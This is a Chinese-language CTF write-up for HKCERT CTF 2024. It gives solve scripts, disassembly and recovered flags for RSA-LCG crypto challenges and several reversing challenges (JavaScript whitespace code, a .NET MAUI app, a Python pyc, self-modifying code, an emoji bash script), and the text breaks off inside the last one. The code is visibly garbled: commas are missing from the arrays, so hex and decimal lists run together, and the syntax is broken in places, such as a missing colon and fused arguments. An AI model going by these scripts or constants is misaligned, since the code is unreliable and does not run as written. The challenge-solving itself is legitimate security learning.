香港網安奪旗賽HKCERT CTF 2024 Write up(下)
2024-12-27 03:19:0 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏

  • Crypto

    • RSA LCG (0)

    • RSA LCG (1)

  • Reverse

    • 虛空

    • 再一個破解挑戰

    • 嬰兒梳打餅

    • Cyp.ress

    • 旗幟檢查機

    • ISA 101

    • 炒埋一碟

    • bashed!

  • Pwn

    • 旗幟雜湊

    • ChatGGT (1)

Crypto

RSA LCG (0)

多執行緒爆破:

#from rich.progress import track
from Crypto.Util.number import isPrime as is_prime
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm
import multiprocessing

class LCG:
    def __init__(self, bits, a=None, c=None, seed=None):
        self.seed = seed
        if self.seed is None: self.seed = secrets.randbits(bits) | 1
        self.a = a
        if self.a is None: self.a = secrets.randbits(bits) | 1
        self.c = c
        if self.c is None: self.c = secrets.randbits(bits)
        self.bits = bits
        self.m = 2**bits

    def next(self):
        self.seed = (self.seed * self.a + self.c) % self.m
        return self.seed

    def __repr__(self):
        return f'LCG(bits={self.bits}, a={self.a}, c={self.c})'

def get_prime(lcg, bits):
    while True:
        p = 0
        for i in range(bits//lcg.bits):
            p <<= lcg.bits
            p |= lcg.next()
        
        if p.bit_length() != bits: continue
        if not is_prime(p): continue

        return p

n = 481114791694785858695050549695538734046971417176843978882044871919616727765643820034066591387776993303130591599679964348353329376559922076715381691496791199317834852972956556186543750873476577029492255903246050392214315442941266567737558736141253495436298490003513325026207840446389886295321748490024615821174562383476857761918630446488869812894422048853097952363719756297344014883459670109643440173428469002028435568608888993928248402297380061528970024946401518041243564217741744613525402813984605478699738311132717493610790718032712239270654974446116711995328572373804563487208899590643981315012517538379075118546604524143430683964513429268368997878214614073305169449253802788601323508855536854500946367628892634824935231007194546528797696281628426050519984306590514055620223093615738335974270220301535497863462980632453977776013292134758089648072661829571370276168813518517058289217357255320627263734650032320305279867840420886394855960116879598125383109784504746667833173574005936871719063288584361794901458463052848937392072728849939635133710409996428462876274835371522565826839423046726308001047859782566419852401917763502007196004524754115471117969452116174478677547559057917128250716516531170082878464757039874318490906158689
e = 65537
c = 345977789156696385683581168846000378215844867611205467179181525756923773343997491856273352579925123046597359189866939437231366570263052567113535467666353517443555775669947203980735918360811410985879753948221470545729133552842244535778330182549296248222039054438197983267418429814674564210947108838042963108251861548375535326969960093796185009763176002544709169063466256285182205803310470811843866647483609768051301160908646352263376778439044867189801653416628219979460525679135210530110143121851284249580066642389243748128010268277263972367956550837364650977683324140767090284085773301486622501777068017859676285398384937589784505599555747372780238872296757407155242584567297352399943303106161556729208284654934208601533197169169514879515899747537955886064112109885660797961038075757520138954391314283382301755474526387505278386817416193439304304484679228240909612236945218009947246430065957288065358434877715856330476675541582153869420244176864467086961698529560004535449279996657026744930241841052475481816491735959706500890907139027990119800255632071177694111432383236909734940374926954075681464953536382583119130818187839809617068848876572944726598351264384270260481762978383770917542259594389267566490962365207501538561114532291

def func(srange):
    lcg = LCG(bits=128, a=181525535962623036141846439269075744717, c=115518761677956575882056543847720910703, seed=1)
    for seed in range(srange[0], srange[1]):
        if seed % 2 == 0:
            continue
        lcg.seed = seed
        p0 = get_prime(lcg, bits=1024)
        if n % p0 == 0
            print(seed)
            return seed
    return None

T = 16
N = 2**16
pool = multiprocessing.Pool()
pars = []
for i in range(T):
    pars += [(N//T * i, N//T * (i+1))]
print(pars)
#results = pool.map(func, pars)

seed = 58727
lcg = LCG(bits=128, a=181525535962623036141846439269075744717, c=115518761677956575882056543847720910703, seed=1)
lcg.seed = seed
ps = [get_prime(lcg, bits=1024for _ in range(4)]

# 2. Computes the private key, d, of the multiprime RSA
n = ps[0] * ps[1] * ps[2] * ps[3]
phi = (ps[0]-1) * (ps[1]-1) * (ps[2]-1) * (ps[3]-1)
e = 0x10001
d = pow(e, -1, phi)

# 3. Decrypts the ciphertext
m = pow(c, d, n)

# 4. Converts the ciphertext to a bytearray, and prints it
flag = long_to_bytes(m)
print(f'{flag = }')

RSA LCG (1)

枚舉素數取樣被忽略的隨機數個數,求第一個質數的種子,然後用第一個質數解密:

from tqdm import tqdm
import itertools

a = 102197201962123846389438942955101245465045811321520032783251514372432272871077
n = 712650313276602240132329097304430048400352751513310575526412992129597422070848111072491134888258819603174150809317988369755331029009864211216547294646211646094933573124257136163629116984386416188859789467395164897001085191528084740453428500956450177548977865861466055171717564208692444769495508512419622780024874941844495178742341131675818700155796280310646897103229083027529919187454771613414875490462993045875936234591157744167214046734190302287427367403568860249349359776931200150301621481939428066984857258770478004853926288162003818241246878159630318266155498887714140614580751646422502723648142074111613225912644502226694307736726087673647398291980857229829977354067820423709011783907277562489549103977052076140881547728240425069463175586173317054911517453708001448687312406872942899280723472709421452062317503252258181984837591194705354256671714708896675155493168030996749797654707148117051477506855802867089687545890519363621855230477269747205380531049996041867129632051572747028441506474146062043427303954298727328531350438208765938027973006421501568307421856483699068172998763428694958905673708416275143602068221058898394079378423785058886143156065469790907727616640696078658243794470631540358286862899496224884600294835441
e = 65537
c = 445308155915029567991204642441037106636274278969323594266962964897048528466773947276913391974222302661172087064465526779062356615268434642959161607080766074334140739062421641878296527210809334178619685030176261525389226557543594953035919061416292966585184462770190073132725325830890587610808224156896611989260754435566640011008330800266408350415234832430226789140062590779004940578475055195767146347394381212157930691103929079825296986828415158506003438261121628407171546274414046568037336522095223978532053246031668840069046046390952201058199981492454288495640857942797704964843287034359460079316661425483842570190113998195387780579545809621808801626313837113473885818945052873823360056317079785841069224993435527933283918571286444280017102781865312454024328849395335083566145607543834607504822081522250923714391873652357185101163374950977150829214936039230387625706376713934778873385375582488086205462961139042991664546797362021066081938999660281537596860879414252495949608351649066648594254272314188241185715920283526637402373027396529855631498571685297193020517033784357794223831020791070397249992230576960345185544552280142788704673413055403847038488791910041421887897364099871208624646292906015164161354890370666964030412257423
bits = 256

class LCG:
    def __init__(self, bits, a=None, c=None, seed=None):
        self.seed = seed
        if self.seed is None: self.seed = secrets.randbits(bits) | 1
        self.a = a
        if self.a is None: self.a = secrets.randbits(bits) | 1
        self.c = c
        if self.c is None: self.c = secrets.randbits(bits)
        self.bits = bits
        self.m = 2^bits

    def next(self):
        self.seed = (self.seed * self.a + self.c) % self.m
        return self.seed

    def __repr__(self):
        return f'LCG(bits={self.bits}, a={self.a}, c={self.c})'

def get_prime(lcg, bits):
    while True:
        p = 0
        for i in range(bits//lcg.bits):
            p <<= lcg.bits
            p |= lcg.next()

        if p.bit_length() != bits: continue
        if not is_prime(p): continue

        return p

'''
# S0 have multiple solutions
assert 4 == 1024 // 256
N1 = 1 + 2 + 3 + 4
N2 = 100
for i in tqdm(range(N1, N2)):
  k = 4 * i
  S4 = n * Integer(a^k).inverse_mod(2^bits) % 2^bits
  S0s = Zmod(2^bits)(S4).nth_root(4, all=True)
  for S0 in S0s:
    lcg = LCG(bits=256, a=int(a), c=int(0), seed=int(S0))
    p0 = get_prime(lcg, 1024)
    if n % p0 == 0:
      print(S0, p0)
      print('------')
      lcg = LCG(bits=256, a=int(a), c=int(0), seed=int(S0))
      ps = [get_prime(lcg, 1024) for _ in range(4)]
      if product(ps) == n:
        print(S0)
        print(ps)
        break
  else:
    continue
  break
'''

p0 = 135903866800838949847562793088150486310158003742367999201618612092808911647629708846623473742286499456077676701909288795481951908691947873229391322992966930031165730815188915669519843444105532123363400169889835634559515424007665328845639044964239115444381314299097514938630949544528906240701881863266616834913
e = 0x10001
d = e.inverse_mod(p0-1)
m = Integer(pow(c, d, p0))
flag = bytes.fromhex(m.hex())
print(flag)

# b'hkcert24{c0mpu71n9_subs3qu3nc3s_0f_g30m3tr1c_s3qu3nc3s_1s_fun}'

Reverse

虛空

按F12開啟DevTools,查看script是一片空白:

with (ㅤ`` ) {
// 一片空白?
}
function \u3164(){return f="",p=[]  
,new Proxy({},{has:(t,n)=>(p.push(
n.length-1),2==p.length&&(p[0]||p[
1]||eval(f),f+=String.fromCharCode
(p[0]<<4|p[1]),p=[]),!0)})}//aem1k

將下面的函數複製一下,在Console頁面中貼上,並添加console.log(f)來查看實際執行的程式碼:

複製前面的with (ㅤ`` ) {...}在Console中再執行一次,可以看到:

拿到flag:hkcert24{j4v4scr1p7_1s_n0w_alm0s7_y3t_4n0th3r_wh173sp4c3_pr09r4mm1n9_l4ngu4g3}

再一個破解挑戰

jadx開啟應用程式發現有MAUI框架包:

apktool解包,用pyxamstore解出.NET dll文件

.NET逆向工程,主要是out/CrackMe.dll,使用dnSpy,在MainPage類裡面存在checkFlag函數:

逆向工程這個函數即可。

這個函數將flag字元打亂,8個bytes轉成一個uint64,最後xor並比對。

解題程式碼就很容易寫了:

array = [9101112133233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126]
array2 = [5838668878398012564106484998324259126933356112120601171114587351068617711551217410710465634611034411029781124751103891157554929076113122114527270509491738495368212453108101913449667851161231003743119711051186999798610962834057]
array3 = [166846621075596230911365998042108440563211938144112493055466177648971028660179931137597808489083258114699674141193569951]
num = 14627333968358193854
num2 = 8

for i in range(len(array3)):
    array3[i] ^= num

l = b''
for x in array3:
    l += x.to_bytes(num2, 'little')
l = l.replace(b'\x01'b'')
l = list(l)

d = dict(zip(array2, array))
l = [d[x] for x in l]
print(l)
print(bytes(l))

hkcert24{f0r3v3r_r3m3mb3r_x4m4r1n_2024-5-1}

嬰兒梳打餅

我做嘅時候附件仲未update,痛苦爆破😖

超簡單的逆向(原來的附件):

xor+解方程,就是這個方程⋯⋯明顯多解啊,v7[l - 5] + v7[l - 3]在三個方程中都是成個整體參與的。

那就把解全部列出來:

from z3 import *

flag = b'hkcert24{'

# xor
off = [0xCE0x210xDB0x640xD10x500xE00x1B0x0D0x3E0xFB0x0A0x520x2F0x940x9D0xAF0xB10x580x6B0x8A0xEE0xC10xF00xFC0x190x0A0xE30xE90x1E0xD00x4A0x620xF20x470xA80x200x0B0xD30x6C0x1C0x1C0x560x5B0x9B0xB30x4D0x3D0xCE0x830x800xC00xE60x7E0xE80x090xBD0x140xC40x470xA10xF60x2F0xD10x310x5C0x1E0x100xD10x2A0xE00x530x450xFE0x850x580xA60xAD0x030xCC0x100x4B0xD30x940xFE0x620x850x4E0x4A0x270x350xE20x940x0F0x490x910x860xD70x800x350x4C0x670xC30xAA0x3C0x670xE80x3F0xE40x670x230xDE0x8E0x2D0x460x250x360xE10xF30x900x7D0x0F0xB90x140x8C0xE70xB60xA60x1A0x900x800x790x850x350xFD0x510x8C0x100xE90x3F0x320xCC0x4B0xB50x420xDE0xF50x570x130xC80x090x9B0x4D0x190x840x910x5F0x9D0x770x300x310xC70x280x8D0x1D0xF40x710xE40xD10xA30x0C0x070x590xAA0x0D0xAD0x160x350x400xB90x280x6A0xB50x4C0x240x5A0x8D0xA60xA60xC40x560xDD0xC00x9B0xBF0xCC0xDE0x0C0x5B0xC10x750xDD0x770xBB0xF60x2B0x430x1D0x130x030xAD0x730xA30xAC0x4D0xEA0xA50x2F0xC20x3E0x4A0x1A0xF50x650x720xE50x4A0x100x100x8C0xFB0x100x0A0x4D0x790x710xF60xC70x800x540x640xB00x020xAA0xD80x7C0x390x530xEC0xAD0xB40x4E0x2F0xEB0xE00x470x00]
dst = [0xBD0x100xB60x500xBD0x350xBF0x780x7F0x0A0x980x610x1F0x1C0xCB0xA90xF00xD90x6C0x050xEE0xAC0xB80x980x9D0x770x3C0xBC0x810x2E0xA00x790x3D0x8B0x770xDD0x7F0x6F0xE30x020x2B0x430x380x680xA80xD70x120x0A0xA10xDC0xF50xF30x830x210xDC0x670xDA0x660x9B0x770xD30xA90x550xE20x6E0x3A0x2E0x620x8E0x5E0x880x620x360xA10xE70x2D0x910xF20x320x930x670x7B0xBD0xF00xCD0x100xDA0x7F0x2C0x780x560x8A0xA00x380x2E0xE10xB10x880xB00x470x130x040xF70xC40x630x140xDB0x0C0xBB0x130x4B0xEF0xBB0x720x240x140x590x830x900xA40x090x690xCC0x7A0xE20x9E0x8C0x8F0x690xA10xED0x4D0xE90x500xA20x320xFE0x240x8A0x540x7F0xFF0x140x810x1D0xB60xC10x390x770x8A0x700xF30x2C0x770xB20xCE0x370xAD0x070x030x6E0xBE0x180xF80x420x900x410x8A0xE60xFC0x620x340x6A0xCE0x520x9A0x790x6A0x350x8A0x4D0x350x810x220x430x280xD20x960xD40x9B0x2C0xEE0x9F0xFD0x8F0xBE0x810x780x330xF00x060x820x150xCE0xC10x740x720x420x640x330xC30x170x900xDE0x120xDB0xC30x700xA10x560x7E0x2D0x920x150x450xBA0x7A0x620x4F0xEF0xCF0x7E0x550x3E0x4A0x420xA90xB30xE80x650x510xEF0x600x9B0xB70x1E0x5A0x670x980xCB0xC10x200x410x920xDA0x6E0x00]
l = []
for i in range(28):
    l.append(off[i] ^ dst[i])
flag += bytes(l)
print(flag) # 打出來睇睇

got = []
while True:
    s = [Int(f"s{i}"for i in range(3)]
    solver = Solver()
    for i in range(3):
        solver.add(s[i] < 127)
        solver.add(s[i] >= 32)
        solver.add(s[i] != ord("~"))
        solver.add(s[i] != ord("}"))
        solver.add(s[i] != ord("|"))
        solver.add(s[i] != ord("{"))
        solver.add(s[i] != ord("\\"))
        solver.add(s[i] != ord("]"))
        solver.add(s[i] != ord("["))
        solver.add(s[i] != ord("`"))
        solver.add(s[i] != ord("_"))
        solver.add(s[i] != ord("^"))
        for x in got:
            solver.add(s[0] != x)
    solver.add(s[0] + s[1] + s[2] == 300)
    solver.add(s[0]*2 + s[1] + s[2]*2 == 496)
    solver.add(s[0] + s[1]*3 + s[2] == 508)
    if solver.check() == sat:
        m = solver.model()
        l = []
        for i in range(3):
            l.append(m[s[i]].as_long())
        got.append(l[0])
        print(bytes(l)+b'1}')
    else:
        break

# flag += b'1}'
# print(flag)

然後可以拿到:

_後面明顯需要一個單字,所以搵一個最似單字的——chal,試下提交,果然是flag!

hkcert24{s1m4le_cr4ckM3_4_h4ndByhan6_cha1}

Cyp.ress

Python 3.12的pyc,用pycdas跑下:

sser.cpython-312.pyc (Python 3.12)
[Code]
    File Name: sser.py
    Object Name: <module>
    Qualified Name: <module>
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Stack Size: 6
    Flags: 0x00000000
    [Names]
        'os'
        'requests'
        'Crypto.Cipher'
        'AES'
        'hashlib'
        'get_nonce'
        'input'
        'encode'
        'flag'
        'nonce'
        'post'
        'hex'
        'r'
        'bytes'
        'fromhex'
        'text'
        'c0'
        'sha256'
        'digest'
        'key'
        'iv'
        'new'
        'MODE_CFB'
        'cipher'
        'encrypt'
        'c1'
        'print'
    [Locals+Names]
    [Constants]
        0
        None
        (
            'AES'
        )
        [Code]
            File Name: sser.py
            Object Name: get_nonce
            Qualified Name: get_nonce
            Arg Count: 0
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 4
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'os'
                'urandom'
                'hashlib'
                'sha256'
                'digest'
            [Locals+Names]
                'nonce'
            [Constants]
                None
                16
                b'pow/'
                3
                b'\x00\x00\x00'
            [Disassembly]
                0       RESUME                          0
                2       NOP                             
                4       LOAD_GLOBAL                     1: NULL + os
                14      LOAD_ATTR                       2: urandom
                34      LOAD_CONST                      116
                36      CALL                            1
                44      STORE_FAST                      0: nonce
                46      LOAD_GLOBAL                     5: NULL + hashlib
                56      LOAD_ATTR                       6: sha256
                76      LOAD_CONST                      2b'pow/'
                78      LOAD_FAST                       0: nonce
                80      BINARY_OP                       0 (+)
                84      CALL                            1
                92      LOAD_ATTR                       9: digest
                112     CALL                            0
                120     LOAD_CONST                      0None
                122     LOAD_CONST                      33
                124     BINARY_SLICE                    
                126     LOAD_CONST                      4b'\x00\x00\x00'
                128     COMPARE_OP                      40 (==)
                132     POP_JUMP_IF_FALSE               2 (to 138)
                134     LOAD_FAST                       0: nonce
                136     RETURN_VALUE                    
                138     JUMP_BACKWARD                   68 (to 4)
        'What is the flag?> '
        'https://c12-cypress.hkcert24.pwnable.hk/'
        'nonce'
        (
            'json'
        )
        b'key/'
        16
        b'iv/'
        '🙆🙅'
    [Disassembly]
        0       RESUME                          0
        2       LOAD_CONST                      00
        4       LOAD_CONST                      1None
        6       IMPORT_NAME                     0: os
        8       STORE_NAME                      0: os
        10      LOAD_CONST                      00
        12      LOAD_CONST                      1None
        14      IMPORT_NAME                     1: requests
        16      STORE_NAME                      1: requests
        18      LOAD_CONST                      00
        20      LOAD_CONST                      2: ('AES',)
        22      IMPORT_NAME                     2: Crypto.Cipher
        24      IMPORT_FROM                     3: AES
        26      STORE_NAME                      3: AES
        28      POP_TOP                         
        30      LOAD_CONST                      00
        32      LOAD_CONST                      1None
        34      IMPORT_NAME                     4: hashlib
        36      STORE_NAME                      4: hashlib
        38      LOAD_CONST                      4'What is the flag?> '
        40      CALL_INTRINSIC_1                1 (INTRINSIC_PRINT)
        42      POP_TOP                         
        44      LOAD_CONST                      3: <CODE> get_nonce
        46      MAKE_FUNCTION                   0
        48      STORE_NAME                      5: get_nonce
        50      PUSH_NULL                       
        52      LOAD_NAME                       6: input
        54      BUILD_STRING                    0
        56      CALL                            1
        64      LOAD_ATTR                       15: encode
        84      CALL                            0
        92      STORE_NAME                      8: flag
        94      PUSH_NULL                       
        96      LOAD_NAME                       5: get_nonce
        98      CALL                            0
        106     STORE_NAME                      9: nonce
        108     PUSH_NULL                       
        110     LOAD_NAME                       1: requests
        112     LOAD_ATTR                       20: post
        132     LOAD_CONST                      5'https://c12-cypress.hkcert24.pwnable.hk/'
        134     LOAD_CONST                      6'nonce'
        136     LOAD_NAME                       9: nonce
        138     LOAD_ATTR                       23: hex
        158     CALL                            0
        166     BUILD_MAP                       1
        168     KW_NAMES                        7: ('json',)
        170     CALL                            2
        178     STORE_NAME                      12: r
        180     LOAD_NAME                       13: bytes
        182     LOAD_ATTR                       29: fromhex
        202     LOAD_NAME                       12: r
        204     LOAD_ATTR                       30: text
        224     CALL                            1
        232     STORE_NAME                      16: c0
        234     PUSH_NULL                       
        236     LOAD_NAME                       4: hashlib
        238     LOAD_ATTR                       34: sha256
        258     LOAD_CONST                      8b'key/'
        260     LOAD_NAME                       9: nonce
        262     BINARY_OP                       0 (+)
        266     CALL                            1
        274     LOAD_ATTR                       37: digest
        294     CALL                            0
        302     LOAD_CONST                      1None
        304     LOAD_CONST                      916
        306     BINARY_SLICE                    
        308     STORE_NAME                      19: key
        310     PUSH_NULL                       
        312     LOAD_NAME                       4: hashlib
        314     LOAD_ATTR                       34: sha256
        334     LOAD_CONST                      10b'iv/'
        336     LOAD_NAME                       9: nonce
        338     BINARY_OP                       0 (+)
        342     CALL                            1
        350     LOAD_ATTR                       37: digest
        370     CALL                            0
        378     LOAD_CONST                      1None
        380     LOAD_CONST                      916
        382     BINARY_SLICE                    
        384     STORE_NAME                      20: iv
        386     PUSH_NULL                       
        388     LOAD_NAME                       3: AES
        390     LOAD_ATTR                       42: new
        410     LOAD_NAME                       19: key
        412     LOAD_NAME                       3: AES
        414     LOAD_ATTR                       44: MODE_CFB
        434     LOAD_NAME                       20: iv
        436     CALL                            3
        444     STORE_NAME                      23: cipher
        446     LOAD_NAME                       23: cipher
        448     LOAD_ATTR                       49: encrypt
        468     LOAD_NAME                       8: flag
        470     CALL                            1
        478     STORE_NAME                      25: c1
        480     PUSH_NULL                       
        482     LOAD_NAME                       26print
        484     LOAD_CONST                      11'🙆🙅'
        486     LOAD_NAME                       16: c0
        488     LOAD_NAME                       25: c1
        490     COMPARE_OP                      55 (!=)
        494     BINARY_SUBSCR                   
        498     CALL                            1
        506     POP_TOP                         
        508     RETURN_CONST                    1None

程式碼比較短,邏輯好簡單,發個nonce俾伺服器就可以拿到flag的密文,改成解密就可以:

import os
import requests
from Crypto.Cipher import AES
import hashlib

print('What is the flag?> ')

def get_nonce():
    while True:
        nonce = os.urandom(16)
        if hashlib.sha256(b'pow/'+nonce).digest()[:3] == b'\x00\x00\x00':
            return nonce

# flag = input().encode()
nonce = get_nonce()
r = requests.post('https://c12-cypress.hkcert24.pwnable.hk/', json={"nonce": nonce.hex()})
c0 = bytes.fromhex(r.text)
key = hashlib.sha256(b'key/'+nonce).digest()[:16]
iv = hashlib.sha256(b'iv/'+nonce).digest()[:16]
cipher = AES.new(key, AES.MODE_CFB, iv)
# c1 = cipher.encrypt(flag)
# assert c0 == c1
print(cipher.decrypt(c0))

拿到flag:hkcert24{y0u_c4n_h00k_func710ns_t0_35c4p3_fr0m_r3v3r5e_3n9e3r1n9}

(哦!原來要hook噶,直接逆向工程pyc了)

旗幟檢查機

簡單first blood!

主要是兩個函數,bytes2int將4個bytes轉成1個int;

mul中呼叫的函數實作了一個全加法器(^低位,&高位),所以循環做加法就是乘法。

所以就是針對每個轉出來的int,做計算:(int * arg) % r == dst,用z3解:

from z3 import *

r = [0x0000000089E216C70x000000008BBA1F530x00000000EEDAC2030x00000000A3A186650x0000000094ED13630x00000000F962506F0x00000000D9CE8AAF0x00000000B1375EA50x00000000B5F3A5270x00000000864090E50x000000008B69129D0x00000000E93765CB0x00000000E69D6F8F0x00000000EF1025430x00000000BF72B95B0x00000000B92FC9190x00000000BB5F04B10x00000000D6DB25930x00000000AF09D9170x00000000E6CACC410x00000000F6E60F6F0x00000000C11F4CB50x00000000F7617AB70x00000000FA6A6B910x00000000B45D23870x0000000083E969C30x00000000B21505B30x00000000C74557430x00000000CBBB17950x00000000C5B265AD0x00000000D65D32050x00000000EF73C7490x00000000BD0DF89D0x00000000D13BD13D0x0000000091E984530x0000000092BED8BF0x00000000F96B47450x000000008B3639CF0x00000000E1CF7EC10x00000000F79644BF0x00000000C0CC44050x00000000C29357D50x00000000DB8B19EF0x00000000B2432FCD0x00000000C01582B70x00000000E03B43F30x00000000805EDEA70x00000000DDB2CB1D0x00000000BACBA2A10x00000000E4F71B790x00000000963367C30x00000000BAC0308F0x00000000B371D9590x00000000CA9668110x00000000933E6A4F0x00000000854AEF830x00000000B7BB66930x00000000BF1CE60F0x00000000BB3F20F70x00000000E04451E50x0000000095BF97C90x00000000D43491630x000000008C8EF06D0x00000000EA039ADF]
dst = [0x0000000034455A430x000000001490EB260x0000000072151D590x0000000039AD51530x0000000049F794E00x000000002CB40ABD0x0000000080BED1560x00000000855CC82F0x00000000900B909A0x000000006372D3FD0x00000000352D899E0x000000002981BCB20x0000000027B68BFD0x0000000064A2DD3A0x000000003DB5729D0x00000000805016D60x00000000097ACEE30x0000000017C898620x000000009F4002A90x0000000009964C050x00000000DB22B70C0x00000000BA1DB04A0x00000000C00667550x000000000B3F68F90x00000000899942F80x000000000A10D4280x00000000235ACDE20x000000000679D88D0x00000000017E5E570x00000000AAB781540x000000005F9220620x000000000A72B4FD0x000000005400B65A0x0000000078EAAFE50x000000004369B1770x000000001990E4C30x000000009E868CE20x000000005CABAF140x0000000045FD04540x0000000083109EE80x000000003519EADA0x000000007C83921C0x000000000983CBAB0x00000000600DB65C0x00000000429BCB650x0000000084CAD5D10x000000007B249EDA0x000000007E459C6C0x000000006FFCF7910x000000000E976EEA0x00000000403AB7030x000000007AAB7C660x000000004884F5CF0x000000002E4B89740x0000000062AD5F110x00000000068A98980x000000007F4D7EA20x00000000B69EA2960x0000000023CDBCE50x0000000095DAADEA0x0000000085FBE56A0x00000000AC34334E0x0000000026D113830x00000000C1617F7E]
arg = [0x00000000EE0F9DF90x00000000C4E73EAD0x00000000D09B50EF0x000000009F758E2B0x00000000C7D7DB0B0x000000009DBE2A690x00000000E38A352B0x00000000CA1FFFFF0x00000000F125338F0x00000000F5FEE2FB0x00000000BB5851D70x00000000999B4ABD0x00000000A1C552090x00000000F4CA133B0x00000000E8E26FA50x00000000C32DDA410x00000000DD6982FB0x00000000FC5F4D910x00000000A0037ABB0x00000000A113B9DD0x00000000C93308F30x000000009448EA390x00000000B2FF73AD0x0000000086C0A2630x000000008B0C84270x00000000E1C1771D0x00000000CE4774410x00000000E86F3DF90x00000000EC65E2BD0x00000000EB8001490x00000000A37F8B1D0x00000000C76391330x00000000CB7AEBDD0x00000000C2ECCFED0x00000000FF163BD90x00000000A0F158950x000000009B8207090x00000000A53A1B2B0x000000009CFEFC510x00000000A7F9918F0x00000000F1B7E9950x00000000B513ED9B0x0000000092828A230x00000000FC4658450x00000000E52B24A10x0000000094ED65D90x0000000096A84EFB0x000000008C296C570x000000009D0CF09F0x00000000C9C170E70x00000000C52FD5A90x00000000861D06BB0x00000000D0FA8A5F0x0000000086D5AE6F0x00000000D08A87010x00000000E48A14C30x00000000D2232EA70x00000000FF56B2130x000000008DF014870x0000000095D9DBE50x00000000816279D10x00000000DD630D350x00000000EA1625350x000000009AE3B49B]
s = Solver()
flag_int = [Int(f"flag{i}"for i in range(32)]

for i in range(32):
    s.add(flag_int[i] >= 0)
    s.add(flag_int[i] <= 0xFFFFFFFF)
    s.add((flag_int[i]*arg[i*2]) % r[i*2] == dst[i*2])
    s.add((flag_int[i]*arg[i*2+1]) % r[i*2+1] == dst[i*2+1])

if s.check() == sat:
    m = s.model()
    l = [m[flag_int[i]].as_long() for i in range(len(flag_int))]
    # print(l)
else:
    print("unsat")

flag = b''
for x in l:
    flag += x.to_bytes(4'big')
print(flag)

hkcert24{51mpl3_l1n34r_c0n6ru3nc35_50lv3d_w17h_cr7_65894851}

ISA 101

程式有ls和exec功能

輸入會與一些固定十六進制數進行異或,然後最終判斷是否與ls和exec匹配

那就只需要異或對應字串即可執行ls和exec

先用ls把文件名print出來,然後exec執行

要注意的是exec後面接的參數需要有一個空格,然後傳遞的十六進制數需要以小端序傳入

炒埋一碟

decompress對n個函數做SMC,其實就是xor。

寫IDA Python程式碼可以拿到轉換後的函數:

for ea in CodeRefsTo(0x25B009False): # address of decompress
    get = []
    while True:
        ea = prev_head(ea) # 搵參數
        if get_operand_type(ea, 0) == 1 and get_operand_type(ea, 1) != 1:
            if get_operand_value(ea, 0in [062]:
                get.append(get_operand_value(ea, 1))
        if len(get) == 3:
            break
    addr, length, key = get
    for ea in range(addr, addr+length): # xor
        del_items(ea)
        b = get_wide_byte(ea)
        b ^= (key & 0xFF)
        patch_byte(ea, b)
    create_insn(addr)
    add_func(addr)

就可以拿到verify_n,類似:

好似都是這樣slice之後xor比較的,再寫IDA Python提取:

import re

data = []
for ea in CodeRefsTo(0x25B009False):
    get = []
    while True:
        ea = prev_head(ea)
        if get_operand_type(ea, 0) == 1 and get_operand_type(ea, 1) != 1:
            if get_operand_value(ea, 0in [062]:
                get.append(get_operand_value(ea, 1))
        if len(get) == 3:
            break
    addr, length, key = get
    assert length == 86
    s = idaapi.decompile(addr)
    l1 = re.findall(r'std::string::operator\[\]\(a1, (\d+)LL\)', str(s))
    l2 = re.findall(r'\^', str(s))
    l3 = re.findall(r'== (\d+)', str(s))
#    if not l3:
#        print(hex(addr))
    data.append((int(l1[0]), int(l1[1]), int(l3[0]))) # 索引0 索引1 目標值
print(data)

就可以拿到每次對比的索引和目標:

寫Python程式碼,z3求解:

# dst從上面拿的
dst = [(484988), (141593), (111210), (515270), (4243100), (121357), (373854), (21229), (262787), (128), (7879), (222356), (495027), (454630), (404149), (293028), (444530), (192072), (535478), (3940106), (101195), (464750), (676), (383992), (3423), (232460), (35364), (131450), (898), (414294), (236), (202195), (181931), (474889), (525365), (5670), (252684), (505167), (151684), (303188), (171887), (282943), (456), (013), (91064), (3132111), (333428), (2728108), (434411), (242583), (3637106), (323343), (161785), (343589)]
got = []
while True:
    s = Solver()
    flag = [BitVec(f"flag{i}"8for i in range(55)]
    for i in range(55):
        s.add(flag[i] >= 32)
        s.add(flag[i] < 127)
    for t in dst:
        a, b, x = t
        s.add(flag[a] ^ flag[b] == x)
    for x in got:
        s.add(flag[0] != x)

    if s.check() == sat:
        m = s.model()
        l = []
        for i in range(55):
            l.append(m[flag[i]].as_long())
        got.append(l[0])
        print(bytes(l))
    else:
        break

就可以拿到flag:

hkcert24{s3lf_m0d1fy1ng_c0d3_th0_th15_i5_n0T_A_m4lw4r3}

bashed!

這個shell腳本大概意思是,每一行emoji表情都是一個判斷,用Python程式碼解釋如下:

if sha1(flag[idx:idx+sz])[1] == val:
    wget file1
    GALF *= value1
else:
    wget file2
    GALF *= value2

其中idx、sz、val、file1、file2、value1、value2分別由🍋的七個參數取得。

腳本開頭除了🍋以外其他的emoji表情函數定義都是調整順序,可以通過修改腳本來輸出正確的順序:

#!/bin/bash

function 🍋() {
    echo "$1 $2 $3 $4 $5 $6 $7";
    
}
function 👂() { 🍋 $1 $5 $2 $3 $7 $6 $4; }
# 原腳本中的函數定義,省略
function 💘() { 🍋 $4 $7 $3 $1 $2 $5 $6; }

👚 👣 👺 👅 👳 👱 👄 👂
# 原腳本中的emoji,省略
👍 👅 👙 👣 👄 💖 👓 👂

這裡wget的作用是把不同的腳本檔案下載下來覆蓋目前正在運行的腳本,而新腳本和舊腳本唯一的不同在於下方那些emoji命令末尾的\位置不同,從而可以mute某些命令。

在shell中,環境變數超過64位元會溢出,而GALF乘到0時判斷失敗,所以可以簡單處理成二進位末尾乘了64個0時判斷失敗。

由DFS搜尋路徑可知,在盡可能少走乘以末尾沒有0的value(sha1(flag[idx:idx+sz])[1] == val)、只有在val明顯不符合時才走有0的分支(sha1(flag[idx:idx+sz])[1] != val )時,都還需要乘以63個0,因此這很有可能是唯一路徑。

# 從前面的腳本中輸出的命令及其順序
emoji_data = '''👱 👄 👅 👺 👣 👳 👂
👲 👄 👅 👣 💅 👋 👂
👞 👄 👈 👧 👒 💁 💐
💀 👅 👥 👒 💁 💇 👂
💅 👅 👆 👽 💄 💓 👂
💌 👅 👈 👱 👢 👛 👂
